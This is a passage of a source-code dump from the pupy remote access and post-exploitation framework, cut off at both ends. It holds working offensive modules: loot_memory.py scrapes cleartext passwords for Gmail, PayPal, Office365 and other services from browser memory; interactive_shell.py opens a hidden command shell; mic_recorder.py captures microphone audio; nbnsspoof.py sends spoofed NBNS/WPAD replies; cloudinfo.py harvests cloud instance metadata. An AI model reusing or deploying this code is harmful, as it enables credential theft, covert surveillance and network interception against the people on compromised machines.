ctx:\n        raise NoContext()\n\n    return ctx.info()\n\n\ndef bounded():\n    return tuple(REALM_CACHE)\n"
  },
  {
    "path": "pupy/packages/all/cloudinfo.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport urllib2\nimport re\nimport json\nimport base64\nimport string\n\nis_dict = re.compile(r'^(\\d+)=([^/]+)$')\n\n\nMETADATA_SERVER = 'http://169.254.169.254'\nMETADATA_PROVIDER = None\nMETADATA_ROOT = None\nMETADATA_HEADERS = []\nMETADATA_PARAMS = ''\n\n\ndef _probe():\n    global METADATA_ROOT\n    global METADATA_PROVIDER\n    global METADATA_HEADERS\n    global METADATA_PARAMS\n\n    if get('', 'latest/meta-data'):\n        METADATA_PROVIDER = 'EC2'\n        METADATA_ROOT = 'latest'\n\n    elif get('', 'metadata/v1'):\n        METADATA_PROVIDER = 'DO'\n        METADATA_ROOT = 'metadata/v1'\n\n    else:\n        result = get('', 'metadata', [('Metadata', 'true')], 400)\n        if not result:\n            raise ValueError('Unknown metadata implementation')\n\n        error = json.loads(result)\n        version = error['newest-versions'][0]\n\n        METADATA_PROVIDER = 'MS'\n        METADATA_HEADERS = [('Metadata', 'true')]\n        METADATA_ROOT = 'metadata/instance'\n        METADATA_PARAMS = '?api-version={}&format=json'.format(version)\n\n    return METADATA_PROVIDER, METADATA_ROOT, METADATA_HEADERS\n\n\ndef get(path, root=None, headers=None, code=200):\n    opener = urllib2.build_opener()\n    opener.addheaders = \\\n        METADATA_HEADERS if headers is None else headers\n\n    path = '/'.join([x for x in path.split('/') if x])\n\n    uri = '/'.join([\n        METADATA_SERVER,\n        METADATA_ROOT if root is None else root,\n        path or ''\n    ]) + METADATA_PARAMS\n\n    try:\n        response = opener.open(uri, timeout=2)\n        if response.code != code:\n            return None\n\n    except urllib2.HTTPError as e:\n        if e.code == code:\n            return e.fp.read()\n        else:\n            return None\n\n    return response.read()\n\n\ndef metadir(path):\n    data = get(path)\n\n    if data:\n        return [x for x in data.split('\\n') if x]\n    else:\n        return data\n\n\ndef isint(x):\n    try:\n        int(x)\n        return True\n    except:\n        return False\n\n\ndef valueconv(x):\n    try:\n        return int(x)\n    except:\n        pass\n\n    try:\n        return float(x)\n    except:\n        pass\n\n    try:\n        return json.loads(x)\n    except:\n        pass\n\n    try:\n        for letter in x:\n            if letter in string.letters:\n                base64.b64decode(x)\n                return x\n    except:\n        pass\n\n    if x is None or x == 'none':\n        return None\n    elif x.endswith('\\n'):\n        return x\n    elif '\\n' in x:\n        return [valueconv(z) for z in x.split('\\n')]\n\n    return x\n\n\ndef as_dict(path=''):\n    result = {}\n    dirs = metadir(path)\n    if not dirs:\n        return None\n\n    for item in dirs:\n        if item.endswith('/'):\n            records = as_dict('/'.join([path, item]))\n            if records:\n                result[item[:-1]] = records\n\n        elif is_dict.match(item):\n            idx, name = is_dict.match(item).groups()\n            records = as_dict('/'.join([path, idx + '/']))\n            if records:\n                result[name] = records\n        else:\n            result[item] = valueconv(get('/'.join([path, item])))\n\n    if isinstance(result, dict) and all(\n            (isint(key) and int(key) < len(result)) for key in result):\n        as_list = [None] * len(result)\n        for key, value in result.items():\n            as_list[int(key)] = value\n\n        result = as_list\n\n    return result\n\n\ndef metadata():\n    if METADATA_PROVIDER is None:\n        try:\n            _probe()\n        except ValueError:\n            return None\n\n    if METADATA_PROVIDER == 'EC2':\n        result = {\n            'meta-data': as_dict('meta-data'),\n            'dynamic': as_dict('dynamic'),\n        }\n\n        user_data = as_dict('user-data')\n        if user_data:\n            try:\n                result['user-data'] = dict(\n                    x.split('=', 1) for x in user_data.split(';')\n                )\n            except:\n                result['user-data'] = user_data\n\n    elif METADATA_PROVIDER == 'MS':\n        result = json.loads(get(''))\n    else:\n        result = as_dict()\n\n    return METADATA_PROVIDER, result\n"
  },
  {
    "path": "pupy/packages/all/fsutils.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'readlink', 'lstat', 'has_xattrs', 'uidgid',\n    'username_to_uid', 'groupname_to_gid',\n    'NoUidGidMapping', 'NoSuchUser', 'NoSuchGroup'\n)\n\n\nfrom os import readlink, lstat\nfrom sys import platform\n\nfrom pupy.network.lib.convcompat import as_unicode_string\n\n\ndef _has_xattrs(filepath):\n    return None\n\n\nhas_xattrs = _has_xattrs\n\nif platform.startswith('linux'):\n\n    try:\n        from xattr import listxattr\n\n        def linux_has_xattrs(filepath):\n            return listxattr(filepath)\n\n        has_xattrs = linux_has_xattrs\n\n    except ImportError:\n        pass\n\n\nclass NoUidGidMapping(Exception):\n    pass\n\n\nclass NoSuchUser(NoUidGidMapping):\n    pass\n\n\nclass NoSuchGroup(NoUidGidMapping):\n    pass\n\n\ntry:\n    from pwd import getpwuid, getpwnam\n    from grp import getgrgid, getgrnam\n\n    def username_to_uid(username):\n        try:\n            return as_unicode_string(\n                getpwnam(username).pw_uid\n            )\n        except KeyError:\n            raise NoSuchUser(username)\n\n    def groupname_to_gid(groupname):\n        try:\n            return as_unicode_string(\n                getgrnam(groupname).gr_gid\n            )\n        except KeyError:\n            raise NoSuchGroup(groupname)\n\n    def uidgid(filepath, item, as_text=True):\n        if not as_text:\n            return item.st_uid, item.st_gid\n\n        try:\n            pw = getpwuid(item.st_uid)\n        except KeyError:\n            pw = None\n\n        try:\n            gr = getgrgid(item.st_gid)\n        except KeyError:\n            gr = None\n\n        return as_unicode_string(\n            pw.pw_name\n        ) if pw else as_unicode_string(\n            str(item.st_uid)\n        ), as_unicode_string(\n            gr.gr_name\n        ) if gr else as_unicode_string(\n            str(item.st_gid)\n        )\n\nexcept ImportError:\n    def uidgid(filepath, item):\n        return item.st_uid, item.st_gid\n\n    def username_to_uid(username):\n        raise NoSuchUser(username)\n\n    def groupname_to_gid(groupname):\n        raise NoSuchGroup(groupname)\n"
  },
  {
    "path": "pupy/packages/all/gssapi.py",
    "content": "# -*- coding: utf-8 -*-\n# gssapi-like wrapper over ccs-pykerberos and winkerberos\n# enough to run ldap3 auth, no more\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport sys\nimport logging\nfrom functools import reduce\n\nlogger = logging.getLogger().getChild('gssapi_wrap')\n\nif sys.platform == 'win32':\n    import winkerberos as krb\n    have_inquire_creds = False\n    logger.info('Using WinKerberos')\nelse:\n    import kerberos as krb\n    logger.info('Using PyKerberos')\n    have_inquire_creds = True\n\nfrom base64 import b64encode, b64decode\n\nC_NT_HOSTBASED_SERVICE = 0\n\nC_PROT_READY_FLAG = getattr(krb, 'GSS_C_PROT_READY_FLAG', 0)\nC_SEQUENCE_FLAG = krb.GSS_C_SEQUENCE_FLAG\nC_INTEG_FLAG = krb.GSS_C_INTEG_FLAG\nC_MUTUAL_FLAG = krb.GSS_C_MUTUAL_FLAG\nC_DELEG_FLAG = krb.GSS_C_DELEG_FLAG\n\n\nclass OID(object):\n    __slots__ = ()\n\n    @staticmethod\n    def mech_from_string(mech):\n\n        if mech == '1.2.840.113554.1.2.2':\n            return krb.GSS_MECH_OID_KRB5\n        elif mech == '1.3.6.1.5.5.2':\n            return krb.GSS_MECH_OID_SPNEGO\n        else:\n            raise NotImplementedError(\n                'Unsupported mech {}'.format(mech))\n\n\nclass ExtPassword(tuple):\n    @property\n    def username(self):\n        return self[0]\n\n    @property\n    def password(self):\n        return self[1]\n\n    def __str__(self):\n        return self[0]\n\n\nGSSAPI_EXT_PASSWORD = ExtPassword\nGSSAPI_MIC_SUPPORT = hasattr(krb, 'authGSSSign')\n\nGSSException = krb.GSSError\n\n\nclass GSSAPIAdapterException(Exception):\n    pass\n\n\nclass RequirementFlag(object):\n    protection_ready = C_PROT_READY_FLAG\n    integrity = C_INTEG_FLAG\n    mutual_authentication = C_MUTUAL_FLAG\n    delegate_to_peer = C_DELEG_FLAG\n\n\nclass exceptions(object):\n    MissingContextError = GSSAPIAdapterException\n    GSSError = GSSException\n    GeneralError = GSSAPIAdapterException\n\n\nclass raw(object):\n    misc = exceptions\n\n\nclass NameType(object):\n    hostbased_service = 0\n\n\nclass MechType(object):\n    kerberos = krb.GSS_MECH_OID_KRB5\n    spnego = krb.GSS_MECH_OID_SPNEGO\n\n\nclass WrappedToken(object):\n    __slots__ = ('message',)\n\n    def __init__(self, message):\n        self.message = message\n\n\ndef Name(name, *args, **kwargs):\n    return name\n\n\nclass Credentials(object):\n    __slots__ = (\n        'name', 'usage', 'password'\n    )\n\n    def __init__(self, name=None, usage=None, password=None):\n        self.name = name\n        self.password = None\n        self.usage = usage\n\n        if isinstance(name, GSSAPI_EXT_PASSWORD):\n            self.name = name.username\n            self.password = name.password\n        else:\n            self.name = name\n            self.password = None\n\n    def __repr__(self):\n        return 'Credentials(name={}, usage={}, password={})'.format(\n            self.name, self.usage, self.password\n        )\n\n\nclass Context(object):\n    __slots__ = (\n        'name', 'mech', 'creds', 'complete', 'flags', 'usage',\n        '_ctx'\n    )\n\n    def __init__(self, name=None, mech=None, creds=None, flags=0, usage=None):\n        if hasattr(flags, '__iter__') and not isinstance(flags, str):\n            flags = reduce(lambda x, y: x|y, flags, 0)\n\n        self.name = name or ''\n        self.mech = mech or krb.GSS_MECH_OID_KRB5\n        self.creds = creds\n        self.complete = False\n        self.flags = flags or C_SEQUENCE_FLAG | C_MUTUAL_FLAG\n        self.usage = usage\n        self._ctx = None\n\n        if __debug__:\n            logger.debug('New security context: %s', self)\n\n    def __repr__(self):\n        return self.__class__.__name__ + \\\n            '(name={}, mech={}, creds={}, complete={})'.format(\n                self.name, self.mech, self.creds, self.complete)\n\n    def init(self):\n        if self._ctx:\n            return self._ctx\n\n        if __debug__:\n            logger.debug('Initialize security context: %s', self)\n\n        args = [\n            self.name,\n            self.creds.name if self.creds else None\n        ]\n\n        kwargs = {\n            'gssflags': self.flags,\n            'mech_oid': self.mech\n        }\n\n        need_inquire_creds = True\n\n        if self.creds and self.creds.password:\n            kwargs['password'] = self.creds.password,\n\n            try:\n                result, self._ctx = krb.authGSSClientInit(\n                    *args, **kwargs\n                )\n\n                logger.debug('GSSApiExt: password ok')\n                need_inquire_creds = False\n            except TypeError:\n                logger.debug('GSSApiExt: password is not supported')\n                del kwargs['password']\n\n        if not self._ctx:\n            result, self._ctx = krb.authGSSClientInit(\n                *args, **kwargs\n            )\n\n        if result < 0:\n            raise GSSAPIAdapterException(result)\n\n        if need_inquire_creds and have_inquire_creds:\n            logger.debug('GSSApiExt: inquire credentials')\n            result = krb.authGSSClientInquireCred(self._ctx)\n            if result < 0:\n                raise GSSAPIAdapterException(result)\n\n    @property\n    def established(self):\n        return self.complete\n\n    def step(self, in_token):\n        if not self._ctx:\n            self.init()\n\n        in_token = b64encode(in_token) if in_token else ''\n\n        result = krb.authGSSClientStep(\n            self._ctx, in_token\n        )\n        if result < 0:\n            raise GSSAPIAdapterException(result)\n\n        self.complete = result == krb.AUTH_GSS_COMPLETE\n        out_token = krb.authGSSClientResponse(self._ctx)\n        return b64decode(out_token) if out_token else None\n\n    def wrap(self, data, protect=None):\n        if data:\n            data = b64encode(data)\n\n        result = krb.authGSSClientWrap(\n            self._ctx, data, None, 0\n        )\n\n        if result < 0:\n            raise GSSAPIAdapterException(result)\n\n        out_data = krb.authGSSClientResponse(self._ctx)\n        return WrappedToken(b64decode(out_data))\n\n    def unwrap(self, data):\n        if data:\n            data = b64encode(data)\n\n        result = krb.authGSSClientUnwrap(self._ctx, data)\n\n        if result < 0:\n            raise GSSAPIAdapterException(result)\n\n        out_data = krb.authGSSClientResponse(self._ctx)\n        return WrappedToken(b64decode(out_data))\n\n    def sign(self, sid):\n        return b64decode(krb.authGSSSign(self._ctx, b64encode(sid)))\n\n    get_signature = sign\n\n    def verify_mic(self, sid, token):\n        krb.authGSSVerify(self._ctx, b64encode(sid), b64encode(token))\n\n    verify_signature = verify_mic\n\n\nclass SecurityContext(Context):\n    pass\n\n\ndef InitContext(peer_name=None, mech_type=None, req_flags=None):\n    context = Context(name=peer_name, mech=mech_type, flags=req_flags)\n    context.init()\n    return context\n"
  },
  {
    "path": "pupy/packages/all/hwuuid.py",
    "content": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport uuid\n\nfrom io import open\n\n\ndef get_hw_uuid():\n    zero_uuid = str(uuid.UUID('00000000-0000-0000-0000-000000000000'))\n\n    if sys.platform == 'win32':\n        try:\n            import win32com\n\n            strComputer = \".\"\n            objWMIService = win32com.client.Dispatch(\"WbemScripting.SWbemLocator\")\n            objSWbemServices = objWMIService.ConnectServer(strComputer, \"root\\\\cimv2\")\n            colItems = objSWbemServices.ExecQuery(\"SELECT * FROM Win32_ComputerSystemProduct\")\n            for objItem in colItems:\n                if objItem.UUID is not None:\n                    return 'wmi', objItem.UUID\n\n        except:\n            pass\n\n        try:\n            import subprocess\n            return 'wmic', subprocess.check_output('wmic csproduct get uuid').strip().split('\\n')[-1]\n        except:\n            pass\n\n    elif 'linux' in sys.platform:\n        try:\n            with open('/sys/devices/virtual/dmi/id/product_uuid') as product_uuid:\n                return 'dmi', uuid.UUID(product_uuid.read().strip())\n        except IOError:\n            pass\n\n        try:\n            with open('/etc/machine-id') as machine_id:\n                return 'machine-id', machine_id.read().strip()\n        except IOError:\n            pass\n\n        try:\n            with open('/var/lib/dbus/machine-id') as machine_id:\n                return 'machine-id', machine_id.read().strip()\n        except IOError:\n            pass\n\n    return 'zero', zero_uuid\n"
  },
  {
    "path": "pupy/packages/all/interactive_shell.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport sys\nimport subprocess\nimport time\nimport traceback\nimport locale\nimport re\nimport os\n\nfrom subprocess import PIPE, Popen\nfrom threading import Thread\n\nif sys.version_info.major > 2:\n    from queue import Queue, Empty\n\n    raw_input = input\nelse:\n    from Queue import Queue, Empty\n\nfrom pupy.network.lib.pupyrpc import nowait\n\n\nON_POSIX = 'posix' in sys.builtin_module_names\n\n\ndef write_output(out, queue):\n    try:\n        for c in iter(lambda: out.read(1), b\"\"):\n            queue.put(c)\n        out.close()\n    except:\n        print(traceback.format_exc())\n\ndef flush_loop(queue, encoding):\n    try:\n        stdout_write=sys.stdout.write\n        stdout_flush=sys.stdout.flush\n        if type(sys.stdout) is not file:\n            stdout_write=nowait(sys.stdout.write)\n            stdout_flush=nowait(sys.stdout.flush)\n        while True:\n            buf=b\"\"\n            while True:\n                try:\n                    buf+=queue.get_nowait()\n                except Empty:\n                    break\n            if buf:\n                if encoding:\n                    try:\n                        buf=buf.decode(encoding)\n                    except Exception:\n                        pass\n                stdout_write(buf)\n                stdout_flush()\n            time.sleep(0.05)\n    except:\n        print(traceback.format_exc())\n        raise\n\ndef interactive_open(program=None, encoding=None):\n    try:\n        if program is None:\n            if sys.platform==\"win32\":\n                program=\"cmd.exe\"\n            else:\n                if \"SHELL\" in os.environ:\n                    program=os.environ[\"SHELL\"]\n                else:\n                    program=\"/bin/sh\"\n                encoding=None\n\n        fullargs=[program]\n        if sys.platform==\"win32\":\n            try:\n                #couldn't find a better way, none of the following methods worked for me : kernel32.SetConsoleOutputCP(), locale.getpreferredencoding(), sys.stdout.encoding\n                encoding=\"cp\"+str(re.findall(r\".*:\\s*([0-9]+)\",subprocess.check_output(\"chcp\", shell=True))[0])\n            except:\n                pass\n            if program.endswith(\"powershell\") or program.endswith(\"powershell.exe\"):\n                fullargs=[\"powershell.exe\", \"-C\", \"-\"] # trick to make powershell work without blocking\n        if encoding is None:\n            encoding=locale.getpreferredencoding()\n        print(\"Opening interactive %s (with encoding %s)...\"%(program,encoding))\n        if sys.platform==\"win32\":\n            startupinfo = subprocess.STARTUPINFO()\n            startupinfo.dwFlags = subprocess.CREATE_NEW_CONSOLE | subprocess.STARTF_USESHOWWINDOW\n            startupinfo.wShowWindow = subprocess.SW_HIDE\n            p = Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, close_fds=ON_POSIX, universal_newlines=True, startupinfo=startupinfo)\n        else:\n            p = Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, close_fds=ON_POSIX, universal_newlines=True)\n        q = Queue()\n        q2 = Queue()\n        t = Thread(target=write_output, args=(p.stdout, q))\n        t.daemon = True\n        t.start()\n\n        t = Thread(target=write_output, args=(p.stderr, q2))\n        t.daemon = True\n        t.start()\n\n        t = Thread(target=flush_loop, args=(q, encoding))\n        t.daemon = True\n        t.start()\n\n        t = Thread(target=flush_loop, args=(q2, encoding))\n        t.daemon = True\n        t.start()\n\n        while True:\n            line = raw_input()\n            p.stdin.write(line+\"\\n\")\n            p.stdin.flush()\n            if line.strip()==\"exit\":\n                break\n    except:\n        print(traceback.format_exc())\n        raise\n"
  },
  {
    "path": "pupy/packages/all/loot_memory.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Author: Nicolas VERDIER (contact@n1nj4.eu)\n\n\"\"\"\nThis script uses memorpy to dumps cleartext passwords from browser's memory\nIt has been tested on both windows 10 and ubuntu 16.04\nThe regex have been taken from the mimikittenz https://github.com/putterpanda/mimikittenz\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport psutil\nimport pupy.agent\nimport sys\nimport time\n\nfrom memorpy import MemWorker, ProcessException\n\n\ndef start(poll=20):\n    if pupy.agent.manager.active(PwdMon):\n        return False\n\n    try:\n        pupy.agent.manager.create(\n            PwdMon\n        )\n    except:\n        return False\n\n    return True\n\ndef dump():\n    mon = pupy.agent.manager.get(PwdMon)\n    if mon:\n        return mon.results\n\ndef stop():\n    mon = pupy.agent.manager.get(PwdMon)\n    if mon:\n        pupy.agent.manager.stop(PwdMon)\n        return mon.results\n\n\nclass PwdMon(pupy.Task):\n    def __init__(self, manager, poll=60):\n        super(PwdMon, self).__init__(manager)\n        self.duplicates = set()\n        self.poll = poll\n\n        if sys.platform == \"win32\":\n            self.browser_list = [\"iexplore.exe\", \"firefox.exe\", \"chrome.exe\", \"opera.exe\", \"MicrosoftEdge.exe\", \"microsoftedgecp.exe\"]\n        else:\n            # self.browser_list = [\"firefox\", \"iceweasel\", \"chromium\", \"chrome\"]\n            self.browser_list = [\"firefox\"]\n\n        # from https://github.com/putterpanda/mimikittenz\n        self.mimikittenz_regex = [\n            (\"Google\",\"identifier=.{1,99}&continue=.{1,99}&password=.{1,99}&\"),\n            (\"Gmail\",\"&Email=.{1,99}?&Passwd=.{1,99}?&PersistentCookie=\"),\n            (\"Dropbox\",\"login_email=.{1,99}&login_password=.{1,99}&\"),\n            (\"SalesForce\",\"&display=page&username=.{1,32}&pw=.{1,16}&Login=\"),\n            (\"Office365\",\"login=.{1,32}&passwd=.{1,22}&PPSX=\"),\n            (\"MicrosoftOneDrive\",\"login=.{1,42}&passwd=.{1,22}&type=.{1,2}&PPFT=\"),\n            (\"PayPal\",\"login_email=.{1,48}&login_password=.{1,16}&submit=Log\\\\+In&browser_name\"),\n            (\"awsWebServices\",\"&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1=\"),\n            (\"OutlookWeb\",\"&username=.{1,48}&password=.{1,48}&passwordText\"),\n            (\"Slack\",\"&crumb=.{1,70}&email=.{1,50}&password=.{1,48}\"),\n            (\"CitrixOnline\",\"emailAddress=.{1,50}&password=.{1,50}&submit\"),\n            (\"Xero \",\"fragment=&userName=.{1,32}&password=.{1,22}&__RequestVerificationToken=\"),\n            (\"MYOB\",\"UserName=.{1,50}&Password=.{1,50}&RememberMe=\"),\n            (\"JuniperSSLVPN\",\"tz_offset=-.{1,6}&username=.{1,22}&password=.{1,22}&realm=.{1,22}&btnSubmit=\"),\n            (\"Twitter\",\"username_or_email%5D=.{1,42}&session%5Bpassword%5D=.{1,22}&remember_me=\"),\n            (\"Facebook\",\"lsd=.{1,10}&email=.{1,42}&pass=.{1,22}&(?:default_)?persistent=\"),\n            (\"LinkedIN\",\"session_key=.{1,50}&session_password=.{1,50}&isJsEnabled\"),\n            (\"Malwr\",\"&username=.{1,32}&password=.{1,22}&next=\"),\n            (\"VirusTotal\",\"password=.{1,22}&username=.{1,42}&next=%2Fen%2F&response_format=json\"),\n            (\"AnubisLabs\",\"username=.{1,42}&password=.{1,22}&login=login\"),\n            (\"CitrixNetScaler\",\"login=.{1,22}&passwd=.{1,42}\"),\n            (\"RDPWeb\",\"DomainUserName=.{1,52}&UserPass=.{1,42}&MachineType\"),\n            (\"JIRA\",\"username=.{1,50}&password=.{1,50}&rememberMe\"),\n            (\"Redmine\",\"username=.{1,50}&password=.{1,50}&login=Login\"),\n            (\"Github\",\"%3D%3D&login=.{1,50}&password=.{1,50}\"),\n            (\"BugZilla\",\"Bugzilla_login=.{1,50}&Bugzilla_password=.{1,50}\"),\n            (\"Zendesk\",\"user%5Bemail%5D=.{1,50}&user%5Bpassword%5D=.{1,50}\"),\n            (\"Cpanel\",\"user=.{1,50}&pass=.{1,50}\"),\n        ]\n\n    def dump_browser_passwords(self):\n\n        for proc in psutil.process_iter():\n            if proc.name().lower() in [x.lower() for x in self.browser_list]:\n                try:\n                    mw = MemWorker(pid=proc.pid)\n                except ProcessException:\n                    continue\n\n                for service, regex in self.mimikittenz_regex:\n                    try:\n                        for x in mw.mem_search(regex, ftype='re'):\n                            passwd = None\n                            if type(x) == tuple:\n                                for i in x:\n                                    try:\n                                        passwd = i.read(type=\"string\", maxlen=100, errors='ignore')\n                                    except Exception:\n                                        continue\n                            else:\n                                try:\n                                    passwd = x.read(type=\"string\", maxlen=100, errors='ignore')\n                                except Exception:\n                                    pass\n\n                            if passwd:\n                                result = (proc.name(), service, passwd)\n                                if result not in self.duplicates:\n                                    self.duplicates.add(result)\n                                    yield result\n                    except Exception:\n                        continue\n\n    def task(self):\n        while self.active:\n            for proc, service, pwd in self.dump_browser_passwords():\n                self.append((proc, service, pwd))\n\n            time.sleep(self.poll)\n"
  },
  {
    "path": "pupy/packages/all/memstrings.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\nimport memorpy\nimport re\nimport os\nimport logging\n\ndef try_int(x):\n    try:\n        return int(x)\n    except:\n        return x\n\ndef iterate_strings(targets, regex=None, min_length=4, max_length=51, omit='isxr', portions=4096, nodup=True, terminate=None):\n    if not targets:\n        return\n\n    if type(targets) == (str, int):\n        targets = [targets]\n\n    targets = set([try_int(x) for x in targets])\n\n    if regex is None:\n        printable = re.compile('^[\\x20-\\x7e]{{{},{}}}$'.format(min_length, max_length))\n    else:\n        printable = re.compile(regex)\n\n    for process in memorpy.Process.list():\n        if terminate is not None and terminate.is_set():\n            break\n\n        try:\n            if not (\n                process.get('pid') in targets or os.path.basename(process.get('name')) in targets\n            ):\n                continue\n\n        except:\n            continue\n\n        strings = []\n        pid = process.get('pid')\n        name = process.get('name')\n\n        try:\n            mw = memorpy.MemWorker(pid=process.get('pid'))\n            duplicates = set()\n            for _, (cstring,) in mw.mem_search('([^\\x00]+)', ftype='groups', optimizations=omit):\n                if terminate is not None and terminate.is_set():\n                    break\n\n                if printable.match(cstring):\n                    if nodup:\n                        if cstring in duplicates:\n                            continue\n\n                        duplicates.add(cstring)\n\n                    strings.append(cstring)\n                    if len(strings) >= portions:\n                        yield pid, name, strings\n                        del strings[:]\n        except Exception as e:\n            logging.exception('MemWorker failed: %s', e)\n\n        if strings:\n            yield pid, name, strings\n            del strings[:]\n\nif __name__==\"__main__\":\n    import sys\n    for pid, strings in iterate_strings(sys.argv[1].split(',')).items():\n        print('pid: ', pid)\n    print()\n    for s in strings:\n        print(s)\n    print()\n"
  },
  {
    "path": "pupy/packages/all/mic_recorder.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\nimport pyaudio\n\nFORMAT = pyaudio.paInt16\nCHANNELS = 2\nRATE = 44100\nCHUNK = 1024\n\ndef record_iter(total=10, chunk=5):\n    try:\n        audio = pyaudio.PyAudio()\n\n        stream = audio.open(format=FORMAT, channels=CHANNELS,\n        rate=RATE, input=True,\n        frames_per_buffer=CHUNK)\n        print(\"recording...\")\n        for k in range(0, int(int(total)/int(chunk))):\n            data=b\"\"\n            for j in range(0, int(chunk)):\n                for i in range(0, int(RATE // CHUNK * 1)):\n                    data += stream.read(CHUNK)\n            yield (audio.get_sample_size(FORMAT), CHANNELS, RATE, data)\n        print(\"finished recording\")\n    finally:\n        stream.stop_stream()\n        stream.close()\n        audio.terminate()\n"
  },
  {
    "path": "pupy/packages/all/nbnsspoof.py",
    "content": "#!/usr/bin/env python\n#\n# Originaly from :\n# nbnspoof.py 03-27-2007 Robert Wesley McGrew\n# wesley@mcgrewsecurity.com\n# http://mcgrewsecurity.com\n# Keeping things simple: You may use this code however you see fit, so\n# long as you give me proper credit.  Email me if you have any\n# questions.\n# rewritten by Nicolas VERDIER for pupy\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\nimport re\n\nfrom scapy.all import (\n    Raw, Ether, IP, UDP, NBNSQueryRequest,\n    sendp, sniff\n)\n\ndef pack_ip(addr):\n    temp = IP(src=addr)\n    return str(temp)[0x0c:0x10]\n\ndef unpack_ip(bin):\n    temp = IP()\n    temp = str(temp)[:0x0c] + bin + str(temp)[0x10:]\n    temp = IP(temp)\n    return temp.src\n\ndef config_nbns(ip, mac_addr, regexp, verbose=True, interface=None):\n    def get_packet(pkt):\n\n        if not pkt.getlayer(NBNSQueryRequest):\n            return\n\n        if pkt.FLAGS & 0x8000:\n            query = False\n            addr = unpack_ip(str(pkt.getlayer(Raw))[8:])\n        else:\n            query = True\n\n        if verbose:\n            print(str(pkt.NAME_TRN_ID) + \":\", end=' ')\n            if query:\n                print(\"Q\", end=' ')\n            else:\n                print(\"R\", end=' ')\n            print(\"SRC:\" + pkt.getlayer(IP).src + \" DST:\" + pkt.getlayer(IP).dst, end=' ')\n            if query:\n                print('NAME:\"' + pkt.QUESTION_NAME + '\"')\n            else:\n                print('NAME:\"' + pkt.QUESTION_NAME + '\"', end=' ')\n                print('IP:' + addr)\n\n        if query and regexp.match(pkt.QUESTION_NAME.rstrip(),1):\n            response  = Ether(dst=pkt.src,src=mac_addr)\n            response /= IP(dst=pkt.getlayer(IP).src,src=ip)\n            response /= UDP(sport=137,dport=137)\n            response /= NBNSQueryRequest(\n                NAME_TRN_ID=pkt.getlayer(NBNSQueryRequest).NAME_TRN_ID,\\\n                FLAGS=0x8500,\\\n                QDCOUNT=0,\\\n                ANCOUNT=1,\\\n                NSCOUNT=0,\\\n                ARCOUNT=0,\\\n                QUESTION_NAME=pkt.getlayer(NBNSQueryRequest).QUESTION_NAME,\\\n                SUFFIX=pkt.getlayer(NBNSQueryRequest).SUFFIX,\\\n                NULL=0,\\\n                QUESTION_TYPE=pkt.getlayer(NBNSQueryRequest).QUESTION_TYPE,\\\n                QUESTION_CLASS=pkt.getlayer(NBNSQueryRequest).QUESTION_CLASS)\n            response /= Raw()\n            # Time to live: 3 days, 11 hours, 20 minutes\n            response.getlayer(Raw).load += b'\\x00\\x04\\x93\\xe0'\n            # Data length: 6\n            response.getlayer(Raw).load += b'\\x00\\x06'\n            # Flags: (B-node, unique)\n            response.getlayer(Raw).load += b'\\x00\\x00'\n            # The IP we're giving them:\n            response.getlayer(Raw).load += pack_ip(ip)\n            sendp(response,iface=interface,verbose=0)\n            if verbose:\n                print('Sent spoofed reply to #' + str(response.getlayer(NBNSQueryRequest).NAME_TRN_ID))\n\n    return get_packet\n\n\ndef start_nbnsspoof(ip, mac_addr, timeout=600, verbose=True, interface=None, name_regexp=\".*WPAD.*\"):\n    regexp = re.compile(name_regexp,re.IGNORECASE)\n    func=config_nbns(ip, mac_addr, regexp, verbose=verbose, interface=interface)\n    sniff(iface=interface,filter=\"udp and port 137\", store=0, prn=func, timeout=timeout)\n"
  },
  {
    "path": "pupy/packages/all/netmon.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom time import sleep\nfrom socket import SOCK_DGRAM, SOCK_STREAM\n\nfrom psutil import net_connections, Process, Error\n\nimport pupy.agent\n\n\nINTERVAL = 1\n\n\nclass NetMon(pupy.Task):\n    results_type = list\n\n    __slots__ = (\n        'known_listeners_tcp', 'known_listeners_udp',\n        'known_egress_tcp', 'known_egress_udp',\n        'known_ingress_tcp', 'known_ingress_udp',\n        'pending_udp_listeners'\n    )\n\n    def __init__(self, *args, **kwargs):\n        super(NetMon, self).__init__(*args, **kwargs)\n\n        self.known_listeners_tcp = set()\n        self.known_egress_tcp = set()\n        self.known_ingress_tcp = set()\n        self.known_listeners_udp = set()\n        self.known_egress_udp = set()\n        self.known_ingress_udp = set()\n        self.pending_udp_listeners = dict()\n\n    def _update(self, connections):\n        listeners_tcp = set()\n        listeners_udp = set()\n\n        ingress_tcp = set()\n        ingress_udp = set()\n\n        egress_tcp = set()\n        egress_udp = set()\n\n        # Register listeners first\n        for connection in connections:\n            if 